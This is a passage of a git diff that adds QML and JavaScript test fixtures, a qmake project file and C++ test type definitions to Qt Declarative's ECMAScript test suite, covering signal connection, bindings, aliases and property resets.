+ property int binding3: myFunction()
+ property int binding4: myNestedFunction()
+ }
+
+ ScopeObject {
+ id: compObject
+ }
+
+ property alias test1: root.binding
+ property alias test2: nestedObject.binding
+ property alias test3: root.binding2
+ property alias test4: nestedObject.binding2
+ property alias test5: root.binding3
+ property alias test6: nestedObject.binding3
+ property alias test7: root.binding4
+ property alias test8: nestedObject.binding4
+ property alias test9: compObject.binding
+ property alias test10: compObject.binding2
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.js b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.js
new file mode 100644
index 00000000..54284fea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.js
@@ -0,0 +1,4 @@
+function testFunction() {
+ test = true;
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.qml
new file mode 100644
index 00000000..65697d93
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.qml
@@ -0,0 +1,10 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptConnect.1.js" as Script
+MyQmlObject {
+ property bool test: false
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(Script.testFunction);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.js b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.js
new file mode 100644
index 00000000..595c778a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.js
@@ -0,0 +1,5 @@
+function testFunction() {
+ if (this.b == 12)
+ test = true;
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.qml
new file mode 100644
index 00000000..86ff7987
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.qml
@@ -0,0 +1,16 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptConnect.2.js" as Script
+
+MyQmlObject {
+ property bool test: false
+
+ id: root
+
+ Component.onCompleted: {
+ var a = new Object;
+ a.b = 12;
+ root.argumentSignal.connect(a, Script.testFunction);
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.3.qml
new file mode 100644
index 00000000..db2f0057
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.3.qml
@@ -0,0 +1,15 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property bool test: false
+
+ id: root
+
+ function testFunction() {
+ test = true;
+ }
+
+ Component.onCompleted: root.argumentSignal.connect(testFunction);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.4.qml
new file mode 100644
index 00000000..a2d90ff8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.4.qml
@@ -0,0 +1,12 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property bool test: false
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(methodNoArgs);
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.5.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.5.qml
new file mode 100644
index 00000000..21fac15d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.5.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property bool test: false
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(root, methodNoArgs);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.js b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.js
new file mode 100644
index 00000000..71bdd088
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.js
@@ -0,0 +1,3 @@
+function testFunction() {
+ test++;
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.qml
new file mode 100644
index 00000000..40530919
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.qml
@@ -0,0 +1,15 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptConnect.6.js" as Script
+
+MyQmlObject {
+ property int test: 0
+
+ id: root
+
+ Component.onCompleted: {
+ root.argumentSignal.connect(Script.testFunction);
+ root.argumentSignal.connect(Script.testFunction);
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.js b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.js
new file mode 100644
index 00000000..407426fc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.js
@@ -0,0 +1,6 @@
+function testFunction() {
+ test++;
+}
+
+function otherFunction() {
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.qml
new file mode 100644
index 00000000..bbe70249
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.qml
@@ -0,0 +1,13 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptDisconnect.1.js" as Script
+
+MyQmlObject {
+ property int test: 0
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(Script.testFunction);
+
+ onBasicSignal: root.argumentSignal.disconnect(Script.testFunction);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.2.qml
new file mode 100644
index 00000000..8a166f41
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.2.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptDisconnect.1.js" as Script
+
+MyQmlObject {
+ property int test: 0
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(root, Script.testFunction);
+
+ onBasicSignal: root.argumentSignal.disconnect(root, Script.testFunction);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.3.qml
new file mode 100644
index 00000000..548f2a12
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.3.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptDisconnect.1.js" as Script
+
+MyQmlObject {
+ property int test: 0
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(root, Script.testFunction);
+
+ onBasicSignal: root.argumentSignal.disconnect(Script.testFunction);
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.4.qml
new file mode 100644
index 00000000..11b22d72
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.4.qml
@@ -0,0 +1,13 @@
+import Qt.test 1.0
+import QtQuick 1.0
+import "scriptDisconnect.1.js" as Script
+
+MyQmlObject {
+ property int test: 0
+
+ id: root
+
+ Component.onCompleted: root.argumentSignal.connect(Script.testFunction);
+
+ onBasicSignal: root.argumentSignal.disconnect(Script.otherFunction);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.js b/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.js
new file mode 100644
index 00000000..d22f623e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.js
@@ -0,0 +1,4 @@
+// Comment
+a = 10
+
+function getValue() { a = 10; return 0; }
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.qml
new file mode 100644
index 00000000..f601f497
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.qml
@@ -0,0 +1,15 @@
+import Qt.test 1.0
+import "scriptErrors.js" as Script
+
+MyQmlObject {
+ property int t: a.value
+ property int w: Script.getValue();
+ property int x: undefined
+ property int y: (a.value, undefinedObject)
+
+ onBasicSignal: { console.log(a.value); }
+ id: myObj
+ onAnotherBasicSignal: myObj.trueProperty = false;
+ onThirdBasicSignal: myObj.fakeProperty = "";
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.2.qml
new file mode 100644
index 00000000..58cf8051
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.2.qml
@@ -0,0 +1,17 @@
+import Qt.test 1.0
+
+MyQmlContainer {
+ property bool triggerDelete: false
+
+ children: [
+ MyQmlObject {
+ // Will trigger deletion on binding assignment
+ deleteOnSet: Math.max(0, 1)
+ },
+
+ MyQmlObject {
+ // Will trigger deletion on binding assignment, but after component creation
+ deleteOnSet: if (triggerDelete) 1; else 0;
+ }
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.qml b/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.qml
new file mode 100644
index 00000000..074851a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.qml
@@ -0,0 +1,18 @@
+import Qt.test 1.0
+
+MyQmlContainer {
+ property bool triggerDelete: false
+
+ children: [
+ MyQmlObject {
+ // Will trigger deletion during binding evaluation
+ stringProperty: {deleteMe(), "Hello"}
+ },
+
+ MyQmlObject {
+ // Will trigger deletion during binding evaluation, but after component creation
+ stringProperty: if (triggerDelete) { deleteMe(), "Hello" } else { "World" }
+ }
+
+ ]
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/sharedAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/sharedAttachedObject.qml
new file mode 100644
index 00000000..2d090b8f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/sharedAttachedObject.qml
@@ -0,0 +1,16 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ id: root
+ property bool test1: false
+ property bool test2: false
+
+ MyQmlObject.value2: 7
+
+ Component.onCompleted: {
+ test1 = root.MyQmlObject.value2 == 7;
+ test2 = root.MyQmlObjectAlias.value2 == 7;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/shutdownErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/shutdownErrors.qml
new file mode 100644
index 00000000..7a6aba74
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/shutdownErrors.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+Item {
+ property int test: myObject.object.a
+
+ Item {
+ id: myObject
+ property QtObject object;
+ object: QtObject {
+ property int a: 10
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.1.qml
new file mode 100644
index 00000000..fbd09142
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.1.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ onBasicSignal: setString('pass')
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.2.qml
new file mode 100644
index 00000000..6467c42b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.2.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ onArgumentSignal: setString('pass ' + a + ' ' + b + ' ' + c + ' ' + d + ' ' + e)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalParameterTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalParameterTypes.qml
new file mode 100644
index 00000000..4fc2dab9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalParameterTypes.qml
@@ -0,0 +1,18 @@
+import Qt.test 1.0
+
+MyQmlObject
+{
+ id: root
+ property int intProperty
+ property real realProperty
+ property color colorProperty
+ property variant variantProperty
+ property int enumProperty
+ property int qtEnumProperty
+
+ signal mySignal(int a, real b, color c, variant d, int e, int f)
+
+ onMySignal: { intProperty = a; realProperty = b; colorProperty = c; variantProperty = d; enumProperty = e; qtEnumProperty = f; }
+
+ onBasicSignal: root.mySignal(10, 19.2, Qt.rgba(1, 1, 0, 1), Qt.rgba(1, 0, 1, 1), MyQmlObject.EnumValue3, Qt.LeftButton)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalTriggeredBindings.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalTriggeredBindings.qml
new file mode 100644
index 00000000..8410d333
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalTriggeredBindings.qml
@@ -0,0 +1,20 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ property real base: 50
+ property alias test1: myObject.test1
+ property alias test2: myObject.test2
+
+ objectProperty: QtObject {
+ id: myObject
+ property real test1: base
+ property real test2: Math.max(0, base)
+ }
+
+ // Signal with no args
+ onBasicSignal: base = 200
+ // Signal with args
+ onArgumentSignal: base = 400
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
new file mode 100644
index 00000000..49293edf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ onSignalWithUnknownType: variantMethod(arg);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml b/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml
new file mode 100644
index 00000000..2932c778
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test1: (a === true)
+ property bool test2: !(a === false)
+ property bool test3: (b === 11.2)
+ property bool test4: !(b === 9)
+ property bool test5: (c === 9)
+ property bool test6: !(c === 13)
+ property bool test7: (d === "Hello world")
+ property bool test8: !(d === "Hi")
+
+ property bool a: true
+ property real b: 11.2
+ property int c: 9
+ property string d: "Hello world"
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.2.qml
new file mode 100644
index 00000000..1e5afdf5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.2.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property variant a: 10
+ property int x: 10
+ property int test: a.x
+
+ Component.onCompleted: {
+ a = 11;
+ a = root;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.qml
new file mode 100644
index 00000000..60d39fa1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant obj: nested
+
+ property variant obj2
+ obj2: NestedTypeTransientErrors {
+ id: nested
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.2.qml
new file mode 100644
index 00000000..e73d38e2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.2.qml
@@ -0,0 +1,10 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ resettableProperty: 19
+
+ function doReset() {
+ resettableProperty = undefined;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.qml b/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.qml
new file mode 100644
index 00000000..eceff60a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ property bool setUndefined: false
+
+ resettableProperty: setUndefined?undefined:92
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/valueTypeFunctions.qml b/tests/auto/declarative/qdeclarativeecmascript/data/valueTypeFunctions.qml
new file mode 100644
index 00000000..33b4a68c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/valueTypeFunctions.qml
@@ -0,0 +1,6 @@
+import Qt.test 1.0
+
+MyTypeObject {
+ rectProperty: Qt.rect(0,0,100,100)
+ rectFProperty: Qt.rect(0,0.5,100,99.5)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/variantsAssignedUndefined.qml b/tests/auto/declarative/qdeclarativeecmascript/data/variantsAssignedUndefined.qml
new file mode 100644
index 00000000..849dfadd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/variantsAssignedUndefined.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool runTest: false
+ onRunTestChanged: test1 = undefined
+
+ property variant test1: 10
+ property variant test2: (runTest == false)?11:undefined
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/writeAttachedProperty.qml b/tests/auto/declarative/qdeclarativeecmascript/data/writeAttachedProperty.qml
new file mode 100644
index 00000000..31bf69d3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/writeAttachedProperty.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+QtObject {
+ function writeValue2() { MyQmlObject.value2 = 9 }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/writeRemovesBinding.qml b/tests/auto/declarative/qdeclarativeecmascript/data/writeRemovesBinding.qml
new file mode 100644
index 00000000..035f0374
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/writeRemovesBinding.qml
@@ -0,0 +1,46 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property bool test: false
+
+ property real data: 9
+ property real binding: data
+
+ property alias aliasProperty: root.aliasBinding
+ property real aliasBinding: data
+
+ Component.onCompleted: {
+ // Non-aliased properties
+ if (binding != 9) return;
+
+ data = 11;
+ if (binding != 11) return;
+
+ binding = 6;
+ if (binding != 6) return;
+
+ data = 3;
+ if (binding != 6) return;
+
+
+ // Writing through an aliased property
+ if (aliasProperty != 3) return;
+ if (aliasBinding != 3) return;
+
+ data = 4;
+ if (aliasProperty != 4) return;
+ if (aliasBinding != 4) return;
+
+ aliasProperty = 19;
+ if (aliasProperty != 19) return;
+ if (aliasBinding != 19) return;
+
+ data = 5;
+ if (aliasProperty != 19) return;
+ if (aliasBinding != 19) return;
+
+ test = true;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/qdeclarativeecmascript.pro b/tests/auto/declarative/qdeclarativeecmascript/qdeclarativeecmascript.pro
new file mode 100644
index 00000000..69d25a42
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/qdeclarativeecmascript.pro
@@ -0,0 +1,24 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative script network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeecmascript.cpp \
+ testtypes.cpp \
+ ../shared/testhttpserver.cpp
+HEADERS += testtypes.h \
+ ../shared/testhttpserver.h
+INCLUDEPATH += ../shared
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
new file mode 100644
index 00000000..903fafa9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
@@ -0,0 +1,134 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include "testtypes.h"
+#include <QWidget>
+#include <QPlainTextEdit>
+
+class BaseExtensionObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int baseExtendedProperty READ extendedProperty WRITE setExtendedProperty NOTIFY extendedPropertyChanged)
+public:
+ BaseExtensionObject(QObject *parent) : QObject(parent), m_value(0) {}
+
+ int extendedProperty() const { return m_value; }
+ void setExtendedProperty(int v) { m_value = v; emit extendedPropertyChanged(); }
+
+signals:
+ void extendedPropertyChanged();
+private:
+ int m_value;
+};
+
+class ExtensionObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int extendedProperty READ extendedProperty WRITE setExtendedProperty NOTIFY extendedPropertyChanged)
+public:
+ ExtensionObject(QObject *parent) : QObject(parent), m_value(0) {}
+
+ int extendedProperty() const { return m_value; }
+ void setExtendedProperty(int v) { m_value = v; emit extendedPropertyChanged(); }
+
+signals:
+ void extendedPropertyChanged();
+private:
+ int m_value;
+};
+
+class DefaultPropertyExtensionObject : public QObject
+{
+ Q_OBJECT
+ Q_CLASSINFO("DefaultProperty", "firstProperty")
+public:
+ DefaultPropertyExtensionObject(QObject *parent) : QObject(parent) {}
+};
+
+class QWidgetDeclarativeUI : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(int width READ width WRITE setWidth NOTIFY widthChanged)
+
+signals:
+ void widthChanged();
+
+public:
+ QWidgetDeclarativeUI(QObject *other) : QObject(other) { }
+
+public:
+ int width() const { return 0; }
+ void setWidth(int) { }
+};
+
+
+void registerTypes()
+{
+ qmlRegisterType<MyQmlObject>("Qt.test", 1,0, "MyQmlObjectAlias");
+ qmlRegisterType<MyQmlObject>("Qt.test", 1,0, "MyQmlObject");
+ qmlRegisterType<MyDeferredObject>("Qt.test", 1,0, "MyDeferredObject");
+ qmlRegisterType<MyQmlContainer>("Qt.test", 1,0, "MyQmlContainer");
+ qmlRegisterExtendedType<MyBaseExtendedObject, BaseExtensionObject>("Qt.test", 1,0, "MyBaseExtendedObject");
+ qmlRegisterExtendedType<MyExtendedObject, ExtensionObject>("Qt.test", 1,0, "MyExtendedObject");
+ qmlRegisterType<MyTypeObject>("Qt.test", 1,0, "MyTypeObject");
+ qmlRegisterType<MyDerivedObject>("Qt.test", 1,0, "MyDerivedObject");
+ qmlRegisterType<NumberAssignment>("Qt.test", 1,0, "NumberAssignment");
+ qmlRegisterExtendedType<DefaultPropertyExtendedObject, DefaultPropertyExtensionObject>("Qt.test", 1,0, "DefaultPropertyExtendedObject");
+ qmlRegisterType<OverrideDefaultPropertyObject>("Qt.test", 1,0, "OverrideDefaultPropertyObject");
+ qmlRegisterType<MyRevisionedClass>("Qt.test",1,0,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedClass,1>("Qt.test",1,1,"MyRevisionedClass");
+
+ // Register the uncreatable base class
+ qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Qt.test",1,1);
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ qmlRegisterType<MyRevisionedSubclass>("Qt.test",1,0,"MyRevisionedSubclass");
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ qmlRegisterType<MyRevisionedSubclass,1>("Qt.test",1,1,"MyRevisionedSubclass");
+
+ qmlRegisterExtendedType<QWidget,QWidgetDeclarativeUI>("Qt.test",1,0,"QWidget");
+ qmlRegisterType<QPlainTextEdit>("Qt.test",1,0,"QPlainTextEdit");
+
+ qRegisterMetaType<MyQmlObject::MyType>("MyQmlObject::MyType");
+ qRegisterMetaType<MyQmlObject::MyType>("MyEnum2");
+ qRegisterMetaType<Qt::MouseButtons>("Qt::MouseButtons");
+}
+
+#include "testtypes.moc"
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
new file mode 100644
index 00000000..8c7326f6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
@@ -0,0 +1,915 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef TESTTYPES_H
+#define TESTTYPES_H
+
+#include <QtCore/qobject.h>
+#include <QtDeclarative/qdeclarative.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtCore/qpoint.h>
+#include <QtCore/qsize.h>
+#include <QtDeclarative/qdeclarativelist.h>
+#include <QtCore/qrect.h>
+#include <QtGui/qmatrix.h>
+#include <QtGui/qcolor.h>
+#include <QtGui/qvector3d.h>
+#include <QtCore/qdatetime.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtDeclarative/qdeclarativescriptstring.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+
+class MyQmlAttachedObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int value READ value CONSTANT)
+ Q_PROPERTY(int value2 READ value2 WRITE setValue2 NOTIFY value2Changed)
+public:
+ MyQmlAttachedObject(QObject *parent) : QObject(parent), m_value2(0) {}
+
+ int value() const { return 19; }
+ int value2() const { return m_value2; }
+ void setValue2(int v) { if (m_value2 == v) return; m_value2 = v; emit value2Changed(); }
+
+ void emitMySignal() { emit mySignal(); }
+
+signals:
+ void value2Changed();
+ void mySignal();
+
+private:
+ int m_value2;
+};
+
+class MyQmlObject : public QObject
+{
+ Q_OBJECT
+ Q_ENUMS(MyEnum)
+ Q_ENUMS(MyEnum2)
+ Q_PROPERTY(int deleteOnSet READ deleteOnSet WRITE setDeleteOnSet)
+ Q_PROPERTY(bool trueProperty READ trueProperty CONSTANT)
+ Q_PROPERTY(bool falseProperty READ falseProperty CONSTANT)
+ Q_PROPERTY(int value READ value WRITE setValue)
+ Q_PROPERTY(int console READ console CONSTANT)
+ Q_PROPERTY(QString stringProperty READ stringProperty WRITE setStringProperty NOTIFY stringChanged)
+ Q_PROPERTY(QObject *objectProperty READ objectProperty WRITE setObjectProperty NOTIFY objectChanged)
+ Q_PROPERTY(QDeclarativeListProperty<QObject> objectListProperty READ objectListProperty CONSTANT)
+ Q_PROPERTY(int resettableProperty READ resettableProperty WRITE setResettableProperty RESET resetProperty)
+ Q_PROPERTY(QRegExp regExp READ regExp WRITE setRegExp)
+ Q_PROPERTY(int nonscriptable READ nonscriptable WRITE setNonscriptable SCRIPTABLE false)
+
+public:
+ MyQmlObject(): myinvokableObject(0), m_methodCalled(false), m_methodIntCalled(false), m_object(0), m_value(0), m_resetProperty(13) {}
+
